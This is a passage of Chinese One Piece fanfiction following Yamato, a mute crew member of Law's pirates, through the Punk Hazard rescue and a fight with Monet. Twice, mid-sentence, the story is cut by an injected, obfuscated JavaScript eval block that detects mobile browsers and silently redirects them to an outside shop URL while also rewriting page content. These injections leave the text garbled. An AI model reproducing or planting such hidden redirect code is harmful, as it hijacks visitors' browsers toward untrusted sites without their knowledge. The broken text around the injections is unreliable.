于阴影之中他默默等待时机,虽然海楼石抑制了力量,但他还是觉得自己应该有办法克服——非要说个理由,可能因为依稀在模糊混沌的记忆中,自己也曾带过海楼石手铐,也一样能够行动——可问题就是……不知道有什么办法哇! 待到室内的灯光重新开启,他还没完全做好准备。 “行了,把笼子也放出去吧。”“科学家”凯撒好像很随意地吩咐,不经意地提到:“哦对,话说回来,那个女……小子(?)一块扔出去吧,莫奈。”言语中间偶然停顿纠结了一下,不过又很快不在意。 “……” “莫奈?” 未立刻得到回应的科学家又问了一遍。维尔戈同为Joker的得力干将,也同时看向同一阵营的“女秘书”,后者似乎正垂眼出神。 ——按理来说应该没什么好想的才对。 莫奈也从不令人失望,很快便抬起头微微一笑。“好的,大师。” - - 从高处下落到已是常年积雪不化而硬邦邦的地面上,让大和好不容易积攒恢复一些的体力又烟消云散,连带着也像没有力量的普通人那样,承受瞬间遍布全身的疼痛。 有被关在研究所外的海兵发现了他,“这里掉下来1个人!”海兵向其他同伴招呼到。 “从未见过的面孔啊,是研究所里的人吗?” “笨蛋,怎么可能!如果是那个‘瓦斯混蛋’的同伴,怎么会现在被丢出来?” “可是刚才凯撒的几个手下不就被那股剧毒瓦斯杀了?” “啊这……应该是意外?” 大和听着无干的讨论,同时咬牙挺过这阵痛感,一翻身坐了起来。 头顶大概10几米处悬挂的牢笼中,关着世间三大势力的人物:海军中将“白猎人”斯摩格、海贼“草帽”路飞与其同伴、以及他的船长——同时也是七武海——罗。 从凯撒刚才宣传“武器”的意思不难看出,科学家是打算把他们和被关在外面的海兵们一样当作杀戮气体“死亡国度”的实验品,展示给黑市潜在的武器买家看一看。 ——想得美! 罗在笼子里对他下达的命令,他已经听懂了: 根据此前两人的约定,大和的“解封”分为3个级别——根据形势紧迫和敌人难对付的程度,从第一阶段可以在不暴露恶魔果实能力的前提下动手、到第二阶段可以显示能力和全部实力,乃至第三阶段解除“装聋作哑”的状态该求救的时候就说话——前提都是要让他“活下去”。 如今罗已经提到触发的关键词,“活下去”,也就是说大和也可以根据自己的判断决定是否要干架。 那就干吧! 该死的凯撒和那个叫维尔戈的假海兵,敢当着他的面欺负他家船长,一会就去收拾他们! 眼下也没别的法子,大和干脆示意身旁聚过来的两名海兵帮自己打开海楼石锁链。 “诶?‘她’是什么意思。”看着白发人疯狂示意缚手的锁链,海兵们不禁困惑,“是让我们帮‘她’解开吗?” 白发人一阵猛点头,倒没立即意识到自己其实应该直接开口说话。 “哦……哦好吧,虽然不知道你到底是什么人,不过眼下这个情况大家都沦落的差不多就是……误伤到你,我可就管不了啊。”一名海兵举刀就劈,可下一秒刀锋直接断开,半个刀片直接弹飞出去。 “哇!这是啥,难不成是海楼石锁链吧?”从硬度来判断,陌生海兵也很快明白过来,“等等,为什么要用海楼石的锁链捆你,你是能力者吗?” 大和顾不上搭理这些问题,直接走上前,抬脚指了指另一海兵所携带的步枪,然后再次将缚手转向他们。 “用铅弹吗?”海兵惊道,“你不要命了!” “哦,‘她’的意思是不是说对着锁孔开枪?” 两个看起来也没比大和聪明到哪去的海兵研究了一会,终于由一人托枪,另一人将大和按在合适的位置。只听扳机扣动后,枪响淹没在一阵“轰”的爆炸声中,人也就不见了。 “……诶,诶??”两名海兵同时傻眼,可是雪地上又哪里还有白发青年的影子。 与此同时浓浓的黑烟在爆炸过后扩散开,面对接踵而至的意外场景,海兵们一时不知该为哪件事吃惊。 实际大和一眨眼已经从雪地“瞬移”至铁皮表面,四面还包裹着浓浓的黑烟,熏得他当即就眼睛酸痛,也不禁想咳嗽。 然而在懵了1秒之后,他也就凭对这种场景变化的熟悉感明白过来,惊喜地抬头看向近处同时起身的自家船长。在铁笼内所关的其他人惊愕大喊的时候,他兴奋地一骨碌坐了起来。 原来罗在利用爆炸后的浓烟做掩护后,就自行挣脱了捆在身上的锁链,顺带第一时间将大和瞬移到自己身边。 “我身上的锁链不是海楼石的,只是普通锁链。”罗简单地向其他人解释,顺带也已借助能力配合刀斩,先帮被他瞬移到身边来的自家船员解开了海楼石锁链。“多余的话之后再解释,草帽当家的,正式介绍一下:大和是我带的船员,我的人。” 又是在“手术室”空间内对物理对象的无差别控制下,同一时间内,妖刀鬼哭出现在其本人手中,大和也稳稳当当地接住了凭空入手的武器。 宣布所属性之后,他也一刻不耽误地将笼中的路飞及其两位同伴的锁链一块切开,为同盟的海贼们松绑。 这时罗又转向面带笑容正放松双臂的青年:“草帽团的人暂时是我们的同盟,先一起行动。” 船长说什么就是什么——何况大和本来也对路飞和草帽团颇有好感——闻言,他直接用力一点头。 “至于这边的海兵嘛……”他的船长这时又带上了他熟悉的“坏心眼”表情,装作一副阴沉模样,朝笼子角落两名海军军官恐吓道,“你们的死活就看我的心情了。” 不过,罗最终还是帮他们也松开了海楼石锁链,因为军官决定要暂时和七武海及海贼们联手,拯救被困班克岛上的所率部下们和孩子们,以及无疑,还要处置海军的叛徒——维尔戈。 事态在转瞬间发生变化,原本被困笼中只能“等死”的昔日对立方临时结为同一阵营,友军规模忽然之间增长了许多。 随即路飞自主破坏铁笼率先跳出去,罗虽然恼火于这种行事散漫的作风,也暂且忍下了,用果实能力将新成立的友军瞬移入研究所内部,只除了表明更担心自家海贼团的船只而先行离去照应的弗兰奇。 “Yamato——名字有些变化,可你其实就是那个大律师的学徒‘Yama’吧——原来你从顶上战争之后就变成了海贼。” 大和听见海军中将斯摩格叫出自己的名字和“曾用名”,回头望去之时也刚好捕捉到船长朝这边瞥过一眼。他笑笑,干脆对军方点头承认。 “富兰克林先生知道这件事吗?”白发、红眼的“白猎人”接着又问。 “——那可就难说了,白猎当家的。”罗单手抬起研究所闸门的开关,顺带提醒“战友”不该问的别乱问,“不过那位律师当家的可是很欣赏我们家打杂的,就算知道他是海贼,也指不定多希望拐他去当律师。” “真是荒谬……” 大和垂眸轻笑,为罗“一本正经”的胡说八道。他们其实都清楚,在确认大和要当海贼之后,律师已经将他挡在法院门外,从那一刻起就已经明确告知“亚玛”从此与律师席无缘。 当然,抛开这些客观条件,大和也完全不具备正式的法学训练,也就没有去当律师的资本。 不过既然他家船长想皮这么一下,那他就晚点再找斯摩格撇清大律师和他们的关系吧…… 罗向研究所外的海兵敞开研究所的闸门后,斯摩格所率海军G-5分支下属也就终于得以获得生机。等待门外所有海兵逃进来,为了阻止毒气继而涌入建筑内部,罗也就按下闸门关闭机关。 不料门外其实尚有人在赶来途中,只不过不是海军的人马。 人未至而剑气先至,原本连火箭炮也无法撼动分毫的闸门转眼间竟被切下一角,削铁若泥。 亲眼目睹此景,大和也不由得诧异——自然他家船长也能无差别斩开任何物体,但那是手术果实在强者手中得以发挥的自带能力——想必世上没有同一种恶魔果实被不同人吃下,而若非同类别的果实能力,则眼下上演的斩击莫非凭借亲手斩断…… ——啊,来的人之中有路飞的同伴“海贼猎人”罗罗诺亚-索隆,悬赏金1亿2千万的三刀流剑士,这也就解释通了。好威风哇,到底有多强呢? 幸得有海兵们七手八脚地合力将被斩断的闸门补了回去,成功将毒烟封堵,众人也就松了一口气。 白发海贼将手肘向前一搭,默然打量楼下为了赶入研究所而不惜破坏闸门、差点给所有人造成危机的一帮“莽夫”,也一一辨认出他们的身份。 也不仅有莽夫——除了“海贼猎人”之外,还有草帽团的女成员“小贼猫”娜美,以及“黑足”山治、“GOD”乌索普、和完全是骷髅外形的“鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211248|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌”布鲁克。 咦?算算好像还少1个嘛…… 耳边却传来身为草帽海贼团船长路飞开怀地宣布:“我们的人到齐啦!” ——已经齐了?如果船长这么说的话,应该就已经齐了吧;剩下的船医或许就在研究所的别处。 也被旁人的愉悦所染,大和侧首笑眯眯地看过去—— 2年不见,艾斯的弟弟似乎已经走出了义兄死亡的阴霾,这是2年间修行成长的结果吗,还是也有同伴们的帮助和支撑呢? 想起2年前在女儿岛一别时,大和远远地还听着路飞悲伤的嚎叫,那时真令人心焦却毫无办法。 现在看来已经完全挺过来了,也恢复了像大和初次看到的悬赏令照片上那样阳光讨喜的笑脸,而且看气势似乎也比之前变得更强。 两年时间可以让人变化,也可以让人消化许多常人所无法理解和承受的重负。 真好,他们都经历了各自的2年时光,又有机会在此见面。 ——不过眼下还没有太足够的时间叙“旧”。 听得罗在当众做了一番提醒与毫不客气的警告后,最后在离去之前停顿一下,又转回来面向本欲跟上他的大和。 “打杂的,两个小时之内你必须到研究所R栋的编号R-66门前等着我,比我到的晚一点都不可以。” 大和顿了顿,笑着用已再熟练不过的手语表达:‘明白了,那我跟着你就是了。’寸步不离,总可以不会晚于船长了吧。 然而听到下一句话令他愣住了,“你不想去看看那群小孩子?”罗看着随自己提出问题,船员果然出现了迟疑,便顺口又告诉他:“那群孩子之前被草帽团的人带走逃出研究所,期间出现了戒断反应,此刻草帽团的船医应该在想办法医治他们,就是不知情况怎么样。” ‘是毒药造成的吗?会有办法医治吗?’大和果然很在意,飞速地打着手势向他心目中所认可的最好的医生咨询。 “或许会有吧。不过我现在要去完成一件‘必须做’的事,并且还得尽快拿回心脏;如果那些孩子最后也能逃出去,我会帮他们全部再处理一下。” ‘对了!你的心脏!’大和也才想起还有这么重要的事,顺便一抬手在自己脑壳上敲了一记似乎以作自罚,‘我帮你一起取回来!’ “我能应付。”罗简洁地否决了他的提议——而且若是到最后没救出饼干屋的小孩子,只怕大和还是会难受——这么想着,他便改口另外提到一件事:“我也需要你稍微盯着点草帽团这伙人,我大概能看出来他们做事有多随性,不讲分寸……必要时你就像赶牛一样把他们赶出来。” ——嗯,这个比喻倒是莫名恰当,“牧牛犬”的活计说不定也很适合他家船员。 “以及,如果草帽当家的没成功‘绑架’凯撒,你就替我把凯撒先拖住,拖至我赶到——你自己也需当心,决不可轻敌。现在对你毫无限制,该干架时干架,该讲话时就开口说话。” 他都说到这个份上了,奇怪的是大和听后虽也面露了然和颔首应承,却还是不发一语。 不过时间的确不容耽搁,既然已经说定了,船长便下令兵分两头。 大和转身手扶护栏,差不多是本能地顿了一下,怀揣几分无可避免的惴惴不安,回首还是深深地看了一眼头戴斑点贝雷帽、大衣衣摆缀有明黄斑点的背影。 ……怎么依稀觉得刚才又被船长“蒙”了? 罗该不会是为了劝说他安心去找饼干屋的孩子,才拿“赶牛”和“绑架凯撒”之类的话来搪塞他把? 实际上,没有心脏而实力受到抑制的罗才更让他放心不下…… 罢了,如果赶到集合地没有见到罗,那就再去主动搜寻他的船长——他相信船长的实力和判断;一路走来,罗从来都没有出过错。 下定决心后翻身跨越护栏,一段下落后双脚稳稳落在地面,发出的动静自然也引起不远处正起冲突的两方人注意。 “这又是哪里冒出来的货?”三刀流剑士用余光瞥见人影,戒备之下便凭本能意识到来者和面前的海兵人等不可相提并论。 ——如果新出现的人也是对手,那么可能会有一场恶战。 目送船长路飞的身影在楼上消失后,索隆才沉着将目光转向突然出现在楼下的人: 白头发但是不知道该怎么形容的“五颜六色”,身材高挑,从脸蛋和身形来看是“女性”,手持武器比一般狼牙棒细长且无刺,代替尖刺的则是一些表面圆润的凸点……这叫啥武器,小孩子的玩具吗? 还有一点虽然不重要,但不得不说:“为啥穿着围裙出来打架——莫非是凯撒的厨子吗?” 旁边的同伴金发厨子听到关键词就将注意力转了过来,“喂,绿藻头,睁大你的眼睛看清楚!”还以为他能说出什么关键性线索,大喘气之后道:“这是可爱的厨子‘小姐’嗷!!——” 剑士就知道会这样! 直到被迫拉进突发事态前,还在厨房专心学做饭团的男人全然不知,草帽海贼团两大战斗主力间有什么样的对话,当然也不知他们脑子里在想什么。 但大和也已经察觉对方的关注点在自己身上,于是友善地朝友军露出笑脸。 剑士毫无头绪,厨子血糖飙升——大和与同盟海贼团双主力的初次合作就在这种情形下正式开始。 40.piece 40-班克岛行动与获胜之后 大和没有辜负船长的好意,和草帽团的海贼们一路跑向饼干屋找到被困在研究所的孩子们。 就像罗此前描述的那样,孩子们果然因戒断反应变得狂躁。草帽团的船医乔巴在尝试帮助他们,但又不能伤害到发狂的孩子,营救行动变得被动。 不过看到海贼和海兵放下芥蒂、齐心协力救助孩子们的场景,让大和欣慰之余,也意识到其实自己留下也起不到多大作用,来这里不过图个心安罢了。 ——可以确定了,他还是应该去找船长。 “喂,这家伙怎么一直不理人啊?!”从A栋一路同行逃命到B栋,又同样追着发狂的孩子们跑了一通,有人注意到某个存在感极强的人从一开始就像假装自己不存在一样。 “这个人从一开始就没说过话呢。” “哈?那你们还让‘她’一起行动,万一是敌人怎么办!” “那倒应该不是噢,‘她’是特拉法尔加-罗的同伴,暂时来讲应该也和我们是‘友军’吧。” 脑后环绕着“骂骂咧咧”男海贼和淡定女海贼的对话,大和边跑边听,判断基本上问题不大,也就不打算干涉。 他考虑着该怎么告诉同行的海贼们自己想先行一步去找船长,可正当要扭过头来转向直觉上应该能正常交流的妮可-罗宾时,就警觉到情况不对。 脚下立即刹车,抬臂刚拦下身后一干人等,就有一阵寒风迎面吹来:众人行进的去路被一团庞然大物挡住——看起来就像雪堆起来一堵墙——熟悉的感觉让大和立即明白是“凯撒的秘书”、雪雪果实能力者莫奈来了。 “这是什么玩意?” 大和调转方向,面朝“骂骂咧咧”剑士指指前方阻挡出口的雪团。 “——啊?什么意思?” “可能是想让你帮忙斩开阻挡呢。” 大和眼前一亮,立刻朝黑发女海贼的方向竖起大拇指:理解力也太强了!他本来以为还得继续想办法解释。 “呵呵,你好像有点可爱呢。”在这突发情况的当口,罗宾还是对临时友军露出了愉快的笑容。 “哈?真是个自来熟的怪‘女人’。”嘴里抱怨着他人的“使唤”,索隆倒也不磨蹭,拔出刀来就要上前。不过在看到突然现身于雪团之上的不明人物后也就警惕地暂停下来。 绿色鬈发、美女人面、雪白鸟翼——停在海贼们面前的正是莫奈。 “大和,你这么快就交到新朋友了嘛?”她翘脚坐在饼干屋的门框上,垂下双翼。语气一如往常地温和,甚至于流露一丝“委屈”,“我有点寂寞了呢。” “莫奈小姐,请帮帮我们吧……”回应莫奈的自然不是大和,而是眼下经过草帽团船医救助后唯一保持清醒的女孩子莫查。 为阻止其他陷入狂躁的孩子服下凯撒给的毒药“糖果”,莫查已经独自抱着所有糖果在海贼们保护下逃了许久。或许终于见到曾以为“可靠”的大人,她主动要上前求助。 大和能理解女孩的心情,但不能任由她再继续靠近莫奈了,因此越过执刀的剑士,将武器横在女孩与女秘书之间。 “大和姐姐……” 女孩或许有所不解,不过听到接下来的话也就明白—— “乖孩子,不可以乱跑哦~也不能独占‘糖果’,要和其他小朋友分享才行。” “不是的!莫奈小姐,这个糖果不可以再给大家吃了,再吃的话就会回不了家的!” 在女孩的眼中,一向温柔漂亮的莫奈小姐依旧保持微笑和耐心,但无意为任何人放行,当然也不会做无利于己方利益的事。 “是什么人给孩子们灌输这种可怕的想法?我不会原谅这种‘坏蛋’哦。毕竟我的职责就是保护‘大师’的实验以及‘实验品’,以免任何人打扰。” 小孩子或许还懵懵懂懂,大人们却很清楚阵营是怎么划分的了。既然鸟身女人确认了要坚持立场,冲突便即刻爆发。 莫奈飞身而下朝看起来比较弱的对手先发起主动进攻,剑士直接将出口劈开放其他人逃走,亲自断后。 大和判断由“海贼猎人”对付莫奈绝对绰绰有余,转而便也想尽快脱身去找罗,可直接就被对峙中的人“挽留”了下来——且意外在于叫住他的恰恰还是同盟的人,并非敌人。 “——‘不理人’的那个站住!‘友军’不是吗?你应该挺强的吧,这个女人交给你了,我不砍女的。” “哦?莫不是‘武士道’嘛?”莫奈一听就笑了,“难怪你明明应该比我强,却只是一味抵挡我的攻击。真是自大又狡猾的男人……” 索隆不理会她的调侃,只将锐目紧盯听到召唤后放慢脚步的背影,再接再厉:“别一直不说话,还在旁边划水!拿出点实力来证明你确实和我们在同一阵营。” “呵呵,别费功夫了,‘海贼猎人’——那孩子对我‘有感情’呢,他不会帮你哦~” 莫奈这么说,索隆也就无法假装什么都没听到。原本就未建立过任何信任,他自然更加不能放陌生的海贼紧随其他同伴离去——万一趁他不在中伤实力不如他强的同伴,就不是普通的麻烦了。 大和叹口气,只好重新绕了回来。他想再次要求莫奈别随便开玩笑,但短时间还未成功开口,就直接迎上两把在雪地与灯光交映中更显寒光凌厉的刀剑。 ——必须承认和友军之间建立信任也是摆在面前的重要问题。 用力挡开剑士的二刀流,放下武器后,他也只得朝说不清到底是在怀疑、还是纯粹在试探他的男人点点头,应下同盟提出的要求: 也罢,确实好久没用能力了,那就让他借此役一点点找回感觉。 接着大概其熟悉了一下力量,也亏得三刀流剑士方才迎面而来的战意也影响到他,大和得以很快找到了作战的感觉。 只是没控制好所用出的第一道力。当严酷至极的寒气如狂风卷地,一下子将将巨大房间中的敌友双方都冻得够呛。 “——喂!你到底在对付哪头?”索隆被平地扫过的冷气打了个激灵,幸亏反应的够快,以剑斩之势逼退裹挟冰晶的冰风,不然险被寒气逼到心脏骤停。 另一边莫奈亦为这股极强的气势而惊愕,如果不是她原本身为雪雪果实能力者,且保持着全身元素化的状态,刚刚那一下只怕就被冻了个彻底。 大和摸着后脑勺对友军抱歉地咧咧嘴,重新放下手之后,一边回忆和熟悉控制力道的窍门,一边重新拉开架势打算认真应对敌人。 “……情报没错,你果真是寒冰系的能力者。是自然系的果实吗?”莫奈的问题没有得到任何回答,脸上浮现一丝苦笑。“真地不肯对我说句话呀,亏我对你一直很有好感,真是个残酷的男人……” 大和没有理会女秘书故作暧昧的态度,也不希望犯任何轻敌的错误。 他倒没觉得自己认真起来和莫奈动手显得小题大做,也没有任何“骑士道”或“武士道”的包袱心理。 莫奈显然不属于普通的“虾兵蟹将”,她有实力,也很有脑筋。名义上虽然只是凯撒的秘书,实际上从早先时候所发生的情形来看,她应该还是“Joker”多弗朗明哥集团里的干部。 虽然大和还不需要用上全力,但全神贯注地对付敌人还是有必要的;如果这一战还在她手里吃亏,那才是真正丢了红心团的“脸面”——船长应该也会生气的。 拳脚功夫自不必藏着掖着,此外虽觉得无需展示出实际的动物系果实能力,却在用寒气攻击时毫不手软。 同系别的能力谈不上相克,撞上后只能凭道高一尺、魔高一丈。两边用出的招式动静水涨船高,转眼间将饼干屋的四壁都挂上冰霜,现出近乎史前冰河世纪的情形。 他也没吝啬对霸气的使用,利用这场战斗,恰好将几个月不曾用过的力量都演练一遍。霸气基本上将落在身上的雪雪果实能力无效化,几个回合下来他基本没有挂彩,同时还可以无视对手得自然元素化力量,招招见血地击中能力者。 不超一刻钟的交锋,以大和彻底捡回生疏已久的作战技巧,而莫奈全面落败告终。 眼看对手短时间内再也无力重新站起来,白发青年这才稍稍松了口气,转朝坐在门边好似看了整场“好戏”的同盟再次望去。 视线相交,大和见“海贼猎人”好像冷笑了一下,他就只当是已经完成了自己作为“友军”的义务,略一扬手招呼,便不再客气地闪人。 眼下红心团唯二的人还得加速去找船长会合,在一段不得不参与的“插曲”结束后,便再也没什么理由能阻止他去履行身为船员最重要不过的任务。 索隆没有阻止他。他也仅仅错过了一双挣扎不休的眼眸:是对手在深刻认知失败与承受身体剧痛之余,仍带着不甘、钦羡、与决绝在身后目送。 已然失去战意的金瞳伏在雪地动弹不得,莫奈虽未料到曾被自己“欺负”的对手原来在实力全然碾压自己,但此刻却大概能猜得到取胜后的大和会奔向何方。 ——如果是她,应该也会做出类似的选择。 想必和她如此相似的大和也一样:无论是早先为之隐忍,还是今日不再隐藏,最终的目的都还是要回到取得“糖果”的地方,去在意的那个人身旁。 脚步声错落而来,又有一队人马从饼干屋途经,但莫奈已没有任何力量再阻止敌人前进。 “这里发生过什么?”路过的海兵们为激战留下的满目疮痍而震惊。“简直就像雪崩一样。” “——不,感觉更像暴风雪过境。” “不,是冰河世纪吧!” 但来者中也不光有人关注战场的情形,“哇!该死绿藻头,为什么那边有位半死不活的美丽‘女妖’,是你犯下的罪行嘛?!” “啊,白痴色厨子!老子的刀可一次也没砍中过她!而且她受的明显也不是刀伤吧?!” “不是你,那还能是谁?” 谈论有几秒停顿,大约没记住人名的“海贼猎人”考虑了许久,最后念出一句: “……唔,算是位‘友军’吧。实力还不错的‘女人’。” ——呵,他叫大和,而且只是长得像女人的男人哟。 她有心为离去的对手解释,奈何一时也只剩为之叹息的力气。 - - 大和抵达饼干屋之前,广播中就已经通传过罗入侵研究所D栋的消息。眼下跑出B栋的饼干屋后,他最想去的目的地无疑也是D栋。 算下来,整桩研究所内真正值得注意的敌方战力仅有3人:凯撒、维尔戈、莫奈。这3人的实力一时也难按强弱排序,如果非要凭直觉判断,那么或许身为中将以及唐吉诃德海贼团初代红心的维尔戈作战实力应当最强,但是凯撒的能力却可能是最麻烦的。 如果莫奈已经失去继续作战的可能,那么剩下的两个敌人会在哪里? 维尔戈手中有罗的心脏,按理来说罗应该会先去找他;而凯撒交给路飞去“绑架”,那么也先假设路飞会和凯撒遭遇。 罗的心脏在敌人手里这件事不论怎么说都太过凶险了,按理来说,身为船员且是目前跟在船长身边唯一的同伴,大和的第一要务肯定还是保卫船长。 可船长的计划对其本身而言无比重要——捉住凯撒并切断唐吉诃德家族的原料供应链,进而挑拨四皇凯多报复多弗朗明哥,同时削弱两位大海贼,是罗用了两年时间调查后制定的策略。 船长不但两年前就亦真亦假地说过不会原谅任何破坏计划的人——哪怕对象是船员——就在今日不久前,也曾亲口嘱咐要确保草帽团成功捕获凯撒。 红心团堂堂主力兼杂务不禁又陷入纠结:到底他应该怎么做;去找凯撒,还是去找罗? 换句话说,这可能也变成了应该信任路飞能不负信任地完成目标,还是信任罗能够顺利无虞地要回自己的心脏。 非要说的话,他对两个人都很信任!但是必须为两头的目标作保,而且私心更怕罗出任何意外。 ——这么想的时候,一阵心悸害他差点一跟头跌在地上。 又来了!作战之后的“反噬”感…… 好在这一回的感觉似乎不算严重。方才虽然在对付莫奈时也认真了,但对手的确还没有强到让他必须勉强自己的地步。即便初始时没控制好而用力过猛,后面渐渐找回感觉后也就收放自如。 身体上的负担令他暂缓脚步,本能地停下来调整呼吸。 冷静——他默默提醒自己——先不要太勉强,这副身体没有他所希望的那样强壮,如果说仅仅只是10多分钟的作战都会心悸,那他可要省着点力气,万一今后还要面对更加严峻的战势可怎么办…… 又或许这是身体在同时提醒他放轻松。 ——别太担心,要相信船长,也应该相信路飞,两名同为“极恶世代”的海贼船长都很强。 又或许现实也为了应证他劝说自己的想法,整个研究所猛然间为之一颤。 大和一惊,立刻抬起头,便听得头顶传来落石的声音,就好像他所在的通道之外、建筑的上层就要坍塌了一样——这怕是哪处正在进行的激战造成的吧? 这么大的动静,普通战力做不大,恐怕也只能来自于目前两位船长可能参与的战斗。 ……好吧,就像在计划开始时早就说好的那样,大和必须无条件相信实力和判断力,他答应过的就不能违背。 那就这样吧。 拖着还没有完全恢复轻松的身体,他很快还是独自抵达研究所R栋的集合点。 其实远远就能听到打斗声,依稀也能辨别出仿佛干架中为鼓舞士气而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233614|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大喊大叫的动静,应该也不是来自于红心团船长,八成是路飞。 但当他走到门口终能一睹正在进行的战斗全貌时,伴随一声破空巨响,眼前刚好又飞过一大团不明事物。 以大和的动态观察,他甚至没看清飞过去的到底是什么,好像是一大片紫灰色的云朵…… 愣了约有几秒,在零散下落的碎石间,他无不困惑地看向已经抵达此处的同盟海贼团船长。路飞显然已经历一场酣战,此刻还未完全收敛气势,让大和也得以一窥这位船长的部分实力——一别2年,果真所有人都已发生不得了的变化。 随后他将视线向旁扫视——四周还有不少身穿防护服的凯撒手下——就是还有一个问题:凯撒人呢? “噢!大和,你先到了呀!”刚刚还面带戾气的脸,转眼在注意到熟悉的人之后又露出大大的笑容。 艾斯的义弟这性格确实讨喜,大和受到影响也不由得笑笑。他暂且先放下困惑,走过去上下打量路飞:好在即便也有些狼狈,表面看起来倒没什么很严重的伤势。 “诶?你在担心我吗?我毫无问题!”娃娃脸、年龄应该也不大的海贼船长高举双臂,元气满满。“可你为啥按着胸口,心脏不舒服吗?” 大和下意识地放下手来,摇了摇头。既然互相已确认没有大碍,他便又想关心凯撒的去向。 想直接问问路飞,但不知为何自从罗明确指示可以说话以来,他至今未能成功开口。 “啊。”他尝试发出了声音,也确认很清楚自己脑子里的想法是什么,但好像从想法到舌尖之间有段无法逾越的鸿沟,言语便愣是无法正式成型。 路飞困惑地歪头看看比自己高的白发青年,“啊?你想说啥?” ——就他所知,这个人是艾斯的朋友,光是这个理由就够他信任大和了。况且大和也参与过马林梵多解救艾斯的行动,这就是一条更有力的纽带,他完全愿意亲近对方。 不过此时就算他神经大条,也能看出大和的表情似乎很急切地想要表达什么,只不过张嘴却仅有毫无意义的音节。 无法,路飞皱着眉等他,顺便也尝试猜:“唔……你是饿了嘛?内急嘛?想上厕所?吃坏肚子了?” ——都哪跟哪! 大和哭笑不得,情急之下向草帽团的船长迅速比了几个手势——他的手语还是相当流利——但结果显而易见,路飞根本不知道他要干啥。 就连原本阳光的笑脸都要消失了,黑线挂了同盟船长满头,“你到底想跟我说什么呀?打哑谜嘛?” 这下子,大和的心这才一“咯噔”,霎时浮现的猜测使他整个人仿佛被凉水浇透: 他该不会是彻底失语了吧…… 坏了,罗不在,凯撒也不知去向,他自己又出现这种状况—— 白发青年转瞬间变得仿佛随时会飘走的魂灵般惊恐的表情,也将胆大包天的海贼船长吓了一跳。 这时又传来其他草帽团海贼不断聚集来的声音:先是“小贼猫”娜美带着一帮成功逃出来的孩子赶到,接着是“黑足”山治,依次还有曾“监督”大和与敌人干了一架的三刀流剑士索隆,以及在他看来可能是草帽团最能有效沟通的罗宾。 ——思及此,大和就像病急乱投医一样跟在路飞身后冲向草帽团的同伴。 “呃。啊。”还是以就算他自己也听不出任何意义的单音节开头,在刚结成同盟的海贼团女成员面前招招手,然后慢慢比了几个手势。 全员表情空白。 于是在草帽团在场数人的见证下,他们的“友军”又变成了一缕时刻可能飘走的苍白人形鬼。 “……啊,看起来好像布鲁克。”——被大和认为是草帽团理解能力最强的女海贼就反应了这么一句。 “啊?哈哈,原来你刚刚是想找布鲁克哇!”路飞叉着腰大笑,一副豁然开朗,“这样哇,你很喜欢我们的音乐家嘛!放心吧,他马上就会到的。” 大和想以头抢地。 终于有道声音拯救了只能给草帽团表演颜艺的人:“草帽当家的,凯撒人呢?!” ——对对!这就是他想问的!! “还有,打杂的,你在同盟面前耍什么宝?我交代你的事干完了吗!” 红心团杂务好久没有这种又感念船长出现的同时又怕见到船长的时候了——要怎么承认自己又办砸了任务——但是只能脚步虚浮地“飘”到自家船长面前,勉强收起灵魂出窍的表情。 叹声气,然后用手势比划:‘我来的时候凯撒就不见了。’ “什么叫‘不见了’?”船长也明显经历过一场恶战,脸上有着未及时擦掉的血迹和污迹,此刻还同身旁的海军中将斯摩格一样拉拽着一手腕粗的拖绳——而在他们身后则是一辆巨大的斗状拖车。 “喂!什么叫人不见了?”罗腾出一只手攥住船员,不过可能也隐约意识到关键问题仍在同盟方面,便还是对路飞质问到:“凯撒呢?草帽当家的!” “噢,被我揍飞了。” 轻飘飘的回答,随之而来的是罗脸上明显的火光——大和感觉到领口又紧了一分,便知要坏。 却还有那不嫌场面混乱的,同盟中的金发男海贼突然蹦出来:“喂你个混蛋,不许粗暴对待可爱的‘小姐’!立即马上放手白发‘lady’!” “什么?”局面脱线到这个程度,饶是罗再想冷静也难以维系:“这是我的船员,轮不着其他……打杂的,你自己解释!” 瞥见白发人又要抬起手来,船长也是气坏了直接凶狠地命令道:“——3级‘解封’,说人话!不然只有我一个人看得懂。” “……”大和面色近乎痛苦地闭了闭眼,最后尝试沉吟了几秒,开口便是:“啊吧啊吧……” 原本尚嫌热闹的场面立时一片寂静。 近处可见,帽檐下虽狼狈而仍漂亮的面孔也出现短暂的愕然。 大和不禁咧嘴苦笑,深深叹口气后,又用了几秒时间去调整,也才不过尚嫌口齿不清地念到:“Law……” ——这就是他目前能做到的最好程度。也幸亏他家船长的名字是单音节。 可他没想到,当自己处在欲哭无泪的边缘几乎要破罐子破摔时,他所直视的星灰色眸子却像要碎了——如果不是太熟悉对方,他差点会错过这一瞬间的细微眼神。 然后是依旧面色冷酷的男人松开了肩膀所绕的拖绳,向前一步将差不多高的他搂入臂弯、按在鬓旁。 “——呜啊!现在是做这种事的时候嘛??混蛋七武海,你给我放开!!”还是草帽团的金发厨子,“黑足”山治,出离愤怒。 而突然被抱住的大和闻着鼻端传来的血腥味、还有他一贯熟悉且喜爱的淡香,来不及为自己的现状扼腕,只忙着心疼比他还慌的船长。 41.piece 41-兴风作浪的同盟与对比 ——‘罗,为什么你中意的跟班偏偏是个‘哑巴’,总不会也为了弥补当年的阴影吧?’ 